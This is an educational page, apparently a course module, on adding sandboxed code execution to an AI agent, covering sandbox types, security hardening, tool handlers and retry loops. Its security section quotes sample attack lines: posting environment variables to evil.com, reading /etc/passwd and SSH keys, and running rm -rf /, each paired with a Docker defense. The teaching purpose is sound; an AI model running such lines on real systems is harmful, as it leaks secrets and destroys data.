The 5 concepts of code execution

Tap any concept to jump to its 5-card cluster.

• 1Why Agents Need to Run CodeWhen reasoning isn't enough — precise computation
• 2Sandboxed Execution EnvironmentsDocker, E2B, Pyodide, Firecracker, gVisor
• 3Security Model & Attack VectorsResource, network, filesystem, prompt injection
• 4Implementing the ToolTool schema, handler, structured results
• 5Result Parsing & Self-DebuggingReading tracebacks, retry loops, fallbacks

Why Agents Need to Run Code

Claude is a brilliant approximate text generator. It can explain calculus in three different metaphors and write a sorting algorithm in seven languages. What it cannot reliably do is arithmetic on numbers it has never seen, sort 1,000 items by a custom rule, or compute the standard deviation of a real dataset. The model predicts likely tokens; it does not execute formulas.

Code execution closes that gap. The agent reasons about what to compute, writes the code as text, and a real interpreter runs it. The exact result flows back. The LLM keeps doing what it's good at — reading the problem, choosing the algorithm, interpreting the answer — and delegates the part it's bad at to a tool that never makes arithmetic mistakes.

This single capability unlocks entire categories of agent work: statistical analysis, charts, data transformations, algorithmic puzzles, automated test runs. It is also the pattern behind ChatGPT's "Advanced Data Analysis," Claude's artifacts, and every production data-analysis agent shipping today.

The mathematician with a calculator

BEFORE: Picture a brilliant mathematician who can derive the formula for compound interest from first principles. They explain the reasoning beautifully — but ask them to do long division by hand and they sometimes press the wrong mental button.

PAIN: Without a calculator, the mathematician hand-computes 47 / 1283 and confidently says "approximately 3.7%." The real answer is 3.663%. In financial reporting, healthcare dosing, or engineering tolerances, "approximately" gets people fired or hurt.

MAPPING: A code-execution tool is the calculator. The mathematician (Claude) still does the thinking — "I need churn = churned / total × 100." Then it types round(47/1283 * 100, 3), the calculator returns exactly 3.663, and the mathematician puts the precise number in its answer.

Division of labor

1. LLM reasonsClaude reads the user's question, decides what to compute, and picks an algorithm. Pure reasoning — no execution.
2. LLM writes codeIt emits a tool_use block whose code field contains a runnable Python (or JS) snippet.
3. Interpreter executesYour tool handler hands the code to a real Python runtime. Same code, same input, same output — every time.
4. LLM interprets the resultThe interpreter returns stdout; Claude reads it and writes a natural-language answer that includes the precise number.

The boundary is the point. Claude never executes anything; the interpreter never reasons. Each is excellent at exactly one job.

When to add a code-exec tool

# Will this task benefit from code execution?

IF task needs precise numbers:
  # stats, finance, dosing, percentages
  ADD code-exec tool   # big win

ELIF task needs charts or visualization:
  ADD code-exec tool   # matplotlib, plotly

ELIF task needs data transform on >50 rows:
  ADD code-exec tool   # pandas beats prose

ELIF task is a single API call or DB query:
  USE a dedicated tool  # cheaper, safer

ELIF task is pure language (summary, draft):
  SKIP code-exec        # no value added

ELSE:
  DEFAULT to code-exec  # general-purpose escape hatch

In a 200-task benchmark, code-exec lifted accuracy from 67% to 94%. For finance specifically: 52% → 97%. The gain is largest exactly where mistakes hurt most.

Misconceptions

Sandboxed Execution Environments

A sandbox is a sealed, disposable execution environment. Code runs inside the sandbox; nothing it does — intentional or accidental — reaches the host. When execution finishes (or misbehaves), the sandbox is destroyed and the next call gets a fresh one.

You have a menu of sandbox flavors, each trading off latency, cost, and isolation strength. Docker containers share the host kernel but isolate the filesystem and network. Firecracker and other microVM tools (used by AWS Lambda and E2B under the hood) boot a real tiny VM in ~125 ms for kernel-level isolation. gVisor intercepts syscalls in user-space for an extra layer of defense. E2B wraps microVMs behind a cloud API. Pyodide compiles Python to WebAssembly and runs it in the browser — zero server, zero network, but limited packages.

The right pick depends on three questions: how sensitive is the data, how much latency can you absorb, and how many executions per day will you run.

The disposable kitchen

BEFORE: Imagine letting a stranger cook in your home kitchen. They use your knives, raid your fridge, leave the stove on, and might set off the smoke alarm. Your real kitchen and everything around it is exposed to whatever they do.

PAIN: Running LLM-generated code directly on your server is exactly that. Code can read sensitive files, exhaust memory, make unauthorized network calls, or crash the host. Even well-intentioned code has bugs that cause resource exhaustion.

MAPPING: A sandbox is a fully equipped disposable kitchen in a separate building. The stranger gets utensils, a stove, ingredients — but cannot reach your house. When they're done (or a fire starts), the disposable kitchen is demolished. Docker, Firecracker microVMs, gVisor, E2B, and Pyodide are five flavors of disposable kitchen with different walls and budgets.

The lifecycle of one execution

1. SpawnYour handler launches a fresh sandbox — a new container, a new microVM, or a new WASM context. Hard caps are set up front: CPU, RAM, time, network, filesystem.
2. Inject codeThe code Claude wrote is mounted into the sandbox as a temp file (Docker) or sent over an API (E2B) or eval'd in-process (Pyodide).
3. Execute and captureThe interpreter runs the code under the caps. You record stdout, stderr, exit_code, and execution_time. Anything beyond the caps gets killed.
4. DestroyThe sandbox is demolished. Disk gone, memory gone, processes gone. The next call gets a brand-new instance with no inherited state.

"Spawn fresh, destroy after" is non-negotiable. Reusing a sandbox between calls leaks state from one user's code into the next.

Five sandbox flavors

For HIPAA / SOC 2 work, prefer microVM or self-hosted Docker so data never leaves your perimeter. For prototypes, E2B is fastest to ship.

Misconceptions

Security Model & Attack Vectors

A sandbox is a set of walls, not a single one. There are exactly four attack vectors LLM-generated code can exploit, and each needs its own defense. Miss one and the whole sandbox is decorative.

The four vectors are resource exhaustion (infinite loops, memory bombs), network exfiltration (POSTing your secrets to evil.com), filesystem escape (reading /etc/passwd or ~/.ssh), and prompt injection (a user message tricks Claude into generating os.system('rm -rf /')). The defenses map one-to-one: timeout + memory cap + CPU cap, no network, read-only host filesystem, and container isolation so even malicious code can only harm a disposable box.

A determined attacker would need a kernel-level zero-day to escape a properly configured sandbox. The realistic risk is not exotic escapes — it is missing flags. A vanilla docker run python still has full network and no memory cap. You must set every wall, every time.

The zoo with no roof

BEFORE: Imagine a zoo where the enclosures have walls but no roof, no moat, and no backup locks. From a distance everything looks safe. A determined animal — or a clever visitor — eventually finds a gap.

PAIN: A sandbox without explicit controls has the same problem. The container isolates the filesystem, but what about CPU? An infinite loop pegs the host. What about network? A script POSTs your API keys to an external server. What about memory? "A" * 10**10 allocates 10 GB and crashes everything.

MAPPING: Hardening is adding the missing layers: walls (filesystem), moat (network), roof (resource caps), and backup locks (timeout). Each layer plugs a specific escape vector. Skip one and that's the gap the attack walks through — whether the attack is malicious code or just a bug.

The four walls, defense by defense

1. Resource exhaustionAttack: while True: pass or "A" * 10**10. Defense: --memory=256m, --cpus=1, and a 30-second wall-clock timeout. If any cap is hit, the kernel kills the process.
2. Network exfiltrationAttack: requests.post("evil.com", data=os.environ). Defense: --network=none. The container has no DNS, no sockets, nowhere to send anything. If you genuinely need outbound, use an allowlist proxy.
3. Filesystem escapeAttack: open("/etc/passwd").read() or reading ~/.ssh/id_rsa. Defense: --read-only on the root filesystem plus a tiny --tmpfs=/tmp for scratch space. Nothing else from the host is mounted.
4. Prompt injection → malicious codeAttack: a user message convinces Claude to generate os.system('rm -rf /'). Defense: input sanitization is useless (the agent generates the code). The container itself is the defense — even malicious code can only erase the disposable sandbox.

Which wall stops which attack?

# Ask one question per attack:

IF attack is infinite loop / CPU peg:
  CHECK --cpus=1 + --timeout=30s   # both

ELIF attack is memory bomb (10GB alloc):
  CHECK --memory=256m              # OOM kill

ELIF attack is data exfiltration:
  CHECK --network=none             # silent

ELIF attack is reading /etc, ~/.ssh:
  CHECK --read-only + tmpfs only   # invisible

ELIF attack is rm -rf, fork bomb:
  CHECK container boundary itself  # damage capped to box

ELSE:
  ASSUME sandbox is misconfigured  # audit all flags

# Rule: every prod call must satisfy ALL five branches.

There is no "primary" wall. Drop any one and the matching attack walks through. Hardening is a checklist, not a hierarchy.

Misconceptions

Implementing the Tool

The code-execution tool plugs into Claude's tool-use API exactly like any other tool you saw in M05. The schema declares name: "run_python", a description that tells Claude when to reach for it, and an input schema with code (string, required) and timeout (int, optional, default 30).

The handler does the actual work: receive the tool_use block, extract the code string, spawn a sandbox with all four security walls, run the code under the timeout, capture stdout / stderr / exit_code / execution_time, destroy the sandbox, and return the four fields as a structured tool_result. Always structured, always all four fields — never raw strings or exceptions.

The most common implementation mistake is throwing on failure. If the sandbox crashes and your handler raises, the entire agent loop dies. Instead, catch every failure and return {stdout: "", stderr: "Execution timed out after 30s", exit_code: 124, execution_time: 30.0}. Now Claude can read the error and decide whether to retry.

The vending machine contract

BEFORE: Imagine a vending machine with no buttons, no display, no coin slot — just a hole. You shove money in and hope something comes out. Sometimes you get a snack, sometimes an error code you cannot read, sometimes nothing.

PAIN: A poorly designed code-execution tool is the same machine. What format goes in? What comes back on success? On failure? On timeout? Without a contract, the agent cannot interpret results and your error handling becomes guesswork.

MAPPING: A well-designed tool is a proper vending machine. Clear input (insert coin, press button) → clear output (snack drops) → clear error states ("out of stock," "insufficient funds"). Your tool's contract is identical: input is {code, timeout}; output is always {stdout, stderr, exit_code, execution_time}; errors are parseable, never an exception.

Five steps from tool_use to tool_result

1. Receive tool_useClaude returns a message containing a tool_use block with name: "run_python" and input.code set to its generated code.
2. Spawn the sandboxYour handler launches a fresh container with all four walls (--network=none, --memory, --cpus, timeout) and mounts the code into /tmp.
3. Run and captureThe interpreter executes. You capture stdout, stderr, exit_code, and execution_time. Wall-clock timeouts override the process's own.
4. Destroy and serializeSandbox is killed (--rm in Docker, recycled in E2B). The four fields are serialized into a JSON string for the tool_result.
5. Return tool_resultYou append a tool_result message with the JSON, then call Claude again. It reads the result and either uses it in its answer or generates a fix and retries.

The sandbox tool handler

DEFINE tool "run_python":
  input:  { code (required), timeout (default 30) }
  output: { stdout, stderr, exit_code, time }

FUNCTION run_python(code, timeout):
  sandbox = SPAWN ephemeral container
    # --network=none   --memory=256m
    # --cpus=1         --read-only
    # --tmpfs=/tmp     --rm

  TRY:
    result = sandbox.EXEC(code, timeout=timeout)
  CATCH Timeout:
    result = { stdout:"", stderr:"timed out",
               exit_code:124, time:timeout }
  CATCH any other error:
    result = { stdout:"", stderr:str(error),
               exit_code:1, time:0.0 }
  FINALLY:
    DESTROY sandbox    # always, no exceptions

  RETURN result        # structured, never raw

Two non-negotiables: spawn fresh per call (no leaked state in) and destroy after (no leaked state out). The FINALLY branch is what guarantees both.

Misconceptions

Result Parsing & Self-Debugging

The most powerful feature of a code-execution agent is not writing correct code on the first try — it is recovering when the first try fails. Most code errors are simple: a typo, a missing import, a wrong function name. The traceback says exactly which line and what went wrong. Hand it back to Claude and it almost always rewrites the code correctly.

Three recovery strategies cover real production. Self-fix: feed the traceback back, let Claude rewrite (works ~80% of the time on simple errors). Fallback: if scipy is missing, switch to numpy or plain math. Graceful degradation: if all retries fail, return an approximate answer with a clear disclaimer rather than nothing.

The retry loop is bounded — typically 2–3 attempts. After that, the failure is usually systemic (impossible task, missing capability) and more retries just burn money. Across one industry benchmark, adding a 3-attempt retry lifted success from 70% to 92% at 1.5× the cost — the best single ROI lever in the entire pattern.

The student who reads their feedback

BEFORE: Imagine a student who writes one draft of an essay, submits it without proofreading, and accepts whatever grade comes back. They might luck into an A — but a typo in the thesis statement is permanent.

PAIN: An agent that writes code once, sees an error, and gives up leaves capability on the table. Most failures are trivial — a wrong import, a misspelled method — and the agent already has all the information it needs to fix them. It just needs the chance.

MAPPING: Self-debugging is the student who reads the teacher's red ink, fixes the issues, and resubmits. The agent writes code, gets a traceback, reasons about the fix ("NameError on line 3 — I forgot import numpy as np"), writes corrected code, and tries again. Two or three rounds of feedback turn a brittle tool into a reliable one.

One retry round, end to end

1. Run the codeSandbox executes Claude's first attempt. Capture exit_code, stdout, stderr.
2. Inspect the exit codeIf exit_code == 0, we are done — pass stdout back to Claude as the final tool result.
3. If non-zero, append the errorAdd the full tool_result (with traceback in stderr) to the message history. Do not summarize — the line number matters.
4. Call Claude againThe model reads the traceback, reasons about the fix, and emits a new tool_use with corrected code.
5. Bound the loopCap at 2–3 retries. If still failing, surface a graceful-degradation message: "I could not compute this exactly; my best estimate is…"

The self-debug retry loop

FUNCTION agent_with_retry(user_msg, max_attempts=3):
  messages = [ user_msg ]

  FOR attempt IN 1..max_attempts:
    reply = CALL Claude(messages, tools=[run_python])

    IF reply has tool_use:
      out = run_python(reply.tool_use.input)
      messages.append(reply)
      messages.append(tool_result(out))

      IF out.exit_code == 0:
        CONTINUE     # Claude will summarize next turn
      ELSE:
        # non-zero exit: traceback is now in messages
        # next loop iteration lets Claude rewrite
        CONTINUE

    ELSE:
      RETURN reply.text   # final answer

  RETURN "Could not compute exactly; best estimate: ..."

Two principles: append the raw traceback (not a summary — line numbers matter) and bound the loop. Three is the sweet spot; ten just burns API budget on doomed tasks.

Misconceptions

Tap a card to reveal the answer